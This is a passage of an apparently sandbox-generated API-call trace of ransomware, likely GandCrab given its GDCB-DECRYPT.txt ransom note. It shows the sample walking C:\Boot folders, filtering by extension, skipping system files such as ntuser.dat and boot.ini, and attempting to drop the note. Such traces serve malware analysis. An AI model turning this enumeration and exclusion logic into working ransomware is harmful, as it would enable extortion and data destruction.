FindFirstFileW (in: lpFileName="C:\\Boot\\hr-HR\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x2c7500 [0135.242] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.242] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.242] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.242] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.242] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.242] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.242] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.242] lstrcatW (in: lpString1="C:\\Boot\\hr-HR\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\hr-HR\\bootmgr.exe.mui") returned="C:\\Boot\\hr-HR\\bootmgr.exe.mui" [0135.242] lstrlenW (lpString="C:\\Boot\\hr-HR\\bootmgr.exe.mui") returned 29 [0135.243] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.243] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.243] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.243] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.243] lstrcatW (in: lpString1="C:\\Boot\\hr-HR\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\hr-HR\\GDCB-DECRYPT.txt") returned="C:\\Boot\\hr-HR\\GDCB-DECRYPT.txt" [0135.243] lstrlenW (lpString="C:\\Boot\\hr-HR\\GDCB-DECRYPT.txt") returned 30 [0135.243] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.243] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0135.243] FindClose (in: hFindFile=0x2c7500 | out: hFindFile=0x2c7500) returned 1 [0135.243] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.243] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\hr-HR\\\\GDCB-DECRYPT.txt") returned 31 [0135.243] CreateFileW (lpFileName="C:\\Boot\\hr-HR\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\hr-hr\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.243] GetLastError () returned 0x50 [0135.243] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.244] lstrlenW (lpString="C:\\Boot\\hr-HR\\") returned 14 [0135.244] lstrcatW (in: lpString1="C:\\Boot\\hr-HR\\", lpString2="*" | out: lpString1="C:\\Boot\\hr-HR\\*") returned="C:\\Boot\\hr-HR\\*" [0135.244] FindFirstFileW (in: lpFileName="C:\\Boot\\hr-HR\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x2c7980 [0135.244] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.244] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.244] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.244] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.244] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.244] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.244] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.244] lstrcatW (in: lpString1="C:\\Boot\\hr-HR\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\hr-HR\\bootmgr.exe.mui") returned="C:\\Boot\\hr-HR\\bootmgr.exe.mui" [0135.244] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.244] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\hr-HR\\bootmgr.exe.mui") returned 29 [0135.244] lstrlenW (lpString="C:\\Boot\\hr-HR\\bootmgr.exe.mui") returned 29 [0135.244] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.244] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.244] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.244] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.244] lstrcatW (in: lpString1="C:\\Boot\\hr-HR\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\hr-HR\\GDCB-DECRYPT.txt") returned="C:\\Boot\\hr-HR\\GDCB-DECRYPT.txt" [0135.244] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.245] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\hr-HR\\GDCB-DECRYPT.txt") returned 30 [0135.245] lstrlenW (lpString="C:\\Boot\\hr-HR\\GDCB-DECRYPT.txt") returned 30 [0135.245] lstrlenW (lpString="C:\\Boot\\hr-HR\\GDCB-DECRYPT.txt") returned 30 [0135.245] lstrlenW (lpString="C:\\Boot\\hr-HR\\GDCB-DECRYPT.txt") returned 30 [0135.245] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.245] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.245] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.245] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.245] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.245] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.245] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.245] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.245] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.245] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.245] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0135.245] FindClose (in: hFindFile=0x2c7980 | out: hFindFile=0x2c7980) returned 1 [0135.245] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.245] lstrcmpW (lpString1="hu-HU", lpString2=".") returned 1 [0135.245] lstrcmpW (lpString1="hu-HU", lpString2="..") returned 1 [0135.245] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="hu-HU" | out: lpString1="C:\\Boot\\hu-HU") returned="C:\\Boot\\hu-HU" [0135.245] lstrcatW (in: lpString1="C:\\Boot\\hu-HU", lpString2="\\" | out: lpString1="C:\\Boot\\hu-HU\\") returned="C:\\Boot\\hu-HU\\" [0135.245] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.245] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.245] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.245] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.246] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.246] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.246] lstrlenW (lpString="C:\\Boot\\hu-HU\\") returned 14 [0135.246] lstrcatW (in: lpString1="C:\\Boot\\hu-HU\\", lpString2="*" | out: lpString1="C:\\Boot\\hu-HU\\*") returned="C:\\Boot\\hu-HU\\*" [0135.246] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x2c7700 [0135.246] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.246] FindNextFileW (in: hFindFile=0x2c7700, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.246] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.246] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.246] FindNextFileW (in: hFindFile=0x2c7700, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.246] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.246] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.246] lstrcatW (in: lpString1="C:\\Boot\\hu-HU\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned="C:\\Boot\\hu-HU\\bootmgr.exe.mui" [0135.246] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0135.246] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.246] FindNextFileW (in: hFindFile=0x2c7700, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.246] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.246] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.246] lstrcatW (in: lpString1="C:\\Boot\\hu-HU\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\hu-HU\\GDCB-DECRYPT.txt") returned="C:\\Boot\\hu-HU\\GDCB-DECRYPT.txt" [0135.246] lstrlenW (lpString="C:\\Boot\\hu-HU\\GDCB-DECRYPT.txt") returned 30 [0135.246] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.246] FindNextFileW (in: hFindFile=0x2c7700, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.246] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.246] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.246] lstrcatW (in: lpString1="C:\\Boot\\hu-HU\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\hu-HU\\memtest.exe.mui") returned="C:\\Boot\\hu-HU\\memtest.exe.mui" [0135.246] lstrlenW (lpString="C:\\Boot\\hu-HU\\memtest.exe.mui") returned 29 [0135.246] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.246] FindNextFileW (in: hFindFile=0x2c7700, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0135.246] FindClose (in: hFindFile=0x2c7700 | out: hFindFile=0x2c7700) returned 1 [0135.246] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.246] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\hu-HU\\\\GDCB-DECRYPT.txt") returned 31 [0135.246] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\hu-hu\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.247] GetLastError () returned 0x50 [0135.247] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.247] lstrlenW (lpString="C:\\Boot\\hu-HU\\") returned 14 [0135.247] lstrcatW (in: lpString1="C:\\Boot\\hu-HU\\", lpString2="*" | out: lpString1="C:\\Boot\\hu-HU\\*") returned="C:\\Boot\\hu-HU\\*" [0135.247] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x2c7500 [0135.247] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.247] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.247] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.247] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.247] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.247] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.247] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.247] lstrcatW (in: lpString1="C:\\Boot\\hu-HU\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned="C:\\Boot\\hu-HU\\bootmgr.exe.mui" [0135.247] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.247] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0135.248] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0135.248] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.248] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.248] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.248] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.248] lstrcatW (in: lpString1="C:\\Boot\\hu-HU\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\hu-HU\\GDCB-DECRYPT.txt") returned="C:\\Boot\\hu-HU\\GDCB-DECRYPT.txt" [0135.248] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.248] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\hu-HU\\GDCB-DECRYPT.txt") returned 30 [0135.248] lstrlenW (lpString="C:\\Boot\\hu-HU\\GDCB-DECRYPT.txt") returned 30 [0135.248] lstrlenW (lpString="C:\\Boot\\hu-HU\\GDCB-DECRYPT.txt") returned 30 [0135.248] lstrlenW (lpString="C:\\Boot\\hu-HU\\GDCB-DECRYPT.txt") returned 30 [0135.248] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.248] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.248] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.248] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.248] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.248] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.248] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.248] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.248] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.248] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.248] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.248] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.248] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.248] lstrcatW (in: lpString1="C:\\Boot\\hu-HU\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\hu-HU\\memtest.exe.mui") returned="C:\\Boot\\hu-HU\\memtest.exe.mui" [0135.248] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.249] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\hu-HU\\memtest.exe.mui") returned 29 [0135.249] lstrlenW (lpString="C:\\Boot\\hu-HU\\memtest.exe.mui") returned 29 [0135.249] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.249] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0135.249] FindClose (in: hFindFile=0x2c7500 | out: hFindFile=0x2c7500) returned 1 [0135.249] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.249] lstrcmpW (lpString1="it-IT", lpString2=".") returned 1 [0135.249] lstrcmpW (lpString1="it-IT", lpString2="..") returned 1 [0135.249] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="it-IT" | out: lpString1="C:\\Boot\\it-IT") returned="C:\\Boot\\it-IT" [0135.249] lstrcatW (in: lpString1="C:\\Boot\\it-IT", lpString2="\\" | out: lpString1="C:\\Boot\\it-IT\\") returned="C:\\Boot\\it-IT\\" [0135.249] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.249] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.249] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.249] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.249] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.249] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.249] lstrlenW (lpString="C:\\Boot\\it-IT\\") returned 14 [0135.249] lstrcatW (in: lpString1="C:\\Boot\\it-IT\\", lpString2="*" | out: lpString1="C:\\Boot\\it-IT\\*") returned="C:\\Boot\\it-IT\\*" [0135.249] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x2c7600 [0135.250] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.250] FindNextFileW (in: hFindFile=0x2c7600, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.250] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.250] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.250] FindNextFileW (in: hFindFile=0x2c7600, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.250] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.250] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.250] lstrcatW (in: lpString1="C:\\Boot\\it-IT\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned="C:\\Boot\\it-IT\\bootmgr.exe.mui" [0135.250] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0135.250] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.250] FindNextFileW (in: hFindFile=0x2c7600, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.250] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.250] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.250] lstrcatW (in: lpString1="C:\\Boot\\it-IT\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\it-IT\\GDCB-DECRYPT.txt") returned="C:\\Boot\\it-IT\\GDCB-DECRYPT.txt" [0135.250] lstrlenW (lpString="C:\\Boot\\it-IT\\GDCB-DECRYPT.txt") returned 30 [0135.250] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.250] FindNextFileW (in: hFindFile=0x2c7600, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.250] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.250] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.250] lstrcatW (in: lpString1="C:\\Boot\\it-IT\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\it-IT\\memtest.exe.mui") returned="C:\\Boot\\it-IT\\memtest.exe.mui" [0135.250] lstrlenW (lpString="C:\\Boot\\it-IT\\memtest.exe.mui") returned 29 [0135.250] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.250] FindNextFileW (in: hFindFile=0x2c7600, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0135.250] FindClose (in: hFindFile=0x2c7600 | out: hFindFile=0x2c7600) returned 1 [0135.250] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.250] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\it-IT\\\\GDCB-DECRYPT.txt") returned 31 [0135.251] CreateFileW (lpFileName="C:\\Boot\\it-IT\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\it-it\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.251] GetLastError () returned 0x50 [0135.251] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.251] lstrlenW (lpString="C:\\Boot\\it-IT\\") returned 14 [0135.251] lstrcatW (in: lpString1="C:\\Boot\\it-IT\\", lpString2="*" | out: lpString1="C:\\Boot\\it-IT\\*") returned="C:\\Boot\\it-IT\\*" [0135.251] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x2c7600 [0135.251] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.251] FindNextFileW (in: hFindFile=0x2c7600, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.251] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.251] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.251] FindNextFileW (in: hFindFile=0x2c7600, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.251] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.251] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.251] lstrcatW (in: lpString1="C:\\Boot\\it-IT\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned="C:\\Boot\\it-IT\\bootmgr.exe.mui" [0135.251] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.251] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0135.251] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0135.251] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.251] FindNextFileW (in: hFindFile=0x2c7600, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.251] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.252] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.252] lstrcatW (in: lpString1="C:\\Boot\\it-IT\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\it-IT\\GDCB-DECRYPT.txt") returned="C:\\Boot\\it-IT\\GDCB-DECRYPT.txt" [0135.252] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.252] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\it-IT\\GDCB-DECRYPT.txt") returned 30 [0135.252] lstrlenW (lpString="C:\\Boot\\it-IT\\GDCB-DECRYPT.txt") returned 30 [0135.252] lstrlenW (lpString="C:\\Boot\\it-IT\\GDCB-DECRYPT.txt") returned 30 [0135.252] lstrlenW (lpString="C:\\Boot\\it-IT\\GDCB-DECRYPT.txt") returned 30 [0135.252] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.252] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.252] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.252] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.252] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.252] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.252] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.252] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.252] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.252] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.252] FindNextFileW (in: hFindFile=0x2c7600, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.252] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.252] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.252] lstrcatW (in: lpString1="C:\\Boot\\it-IT\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\it-IT\\memtest.exe.mui") returned="C:\\Boot\\it-IT\\memtest.exe.mui" [0135.252] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.252] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\it-IT\\memtest.exe.mui") returned 29 [0135.252] lstrlenW (lpString="C:\\Boot\\it-IT\\memtest.exe.mui") returned 29 [0135.252] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.252] FindNextFileW (in: hFindFile=0x2c7600, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0135.252] FindClose (in: hFindFile=0x2c7600 | out: hFindFile=0x2c7600) returned 1 [0135.253] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.253] lstrcmpW (lpString1="ja-JP", lpString2=".") returned 1 [0135.253] lstrcmpW (lpString1="ja-JP", lpString2="..") returned 1 [0135.253] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="ja-JP" | out: lpString1="C:\\Boot\\ja-JP") returned="C:\\Boot\\ja-JP" [0135.253] lstrcatW (in: lpString1="C:\\Boot\\ja-JP", lpString2="\\" | out: lpString1="C:\\Boot\\ja-JP\\") returned="C:\\Boot\\ja-JP\\" [0135.253] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.253] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.253] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.253] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.253] SHGetSpecialFolderPathW (in: 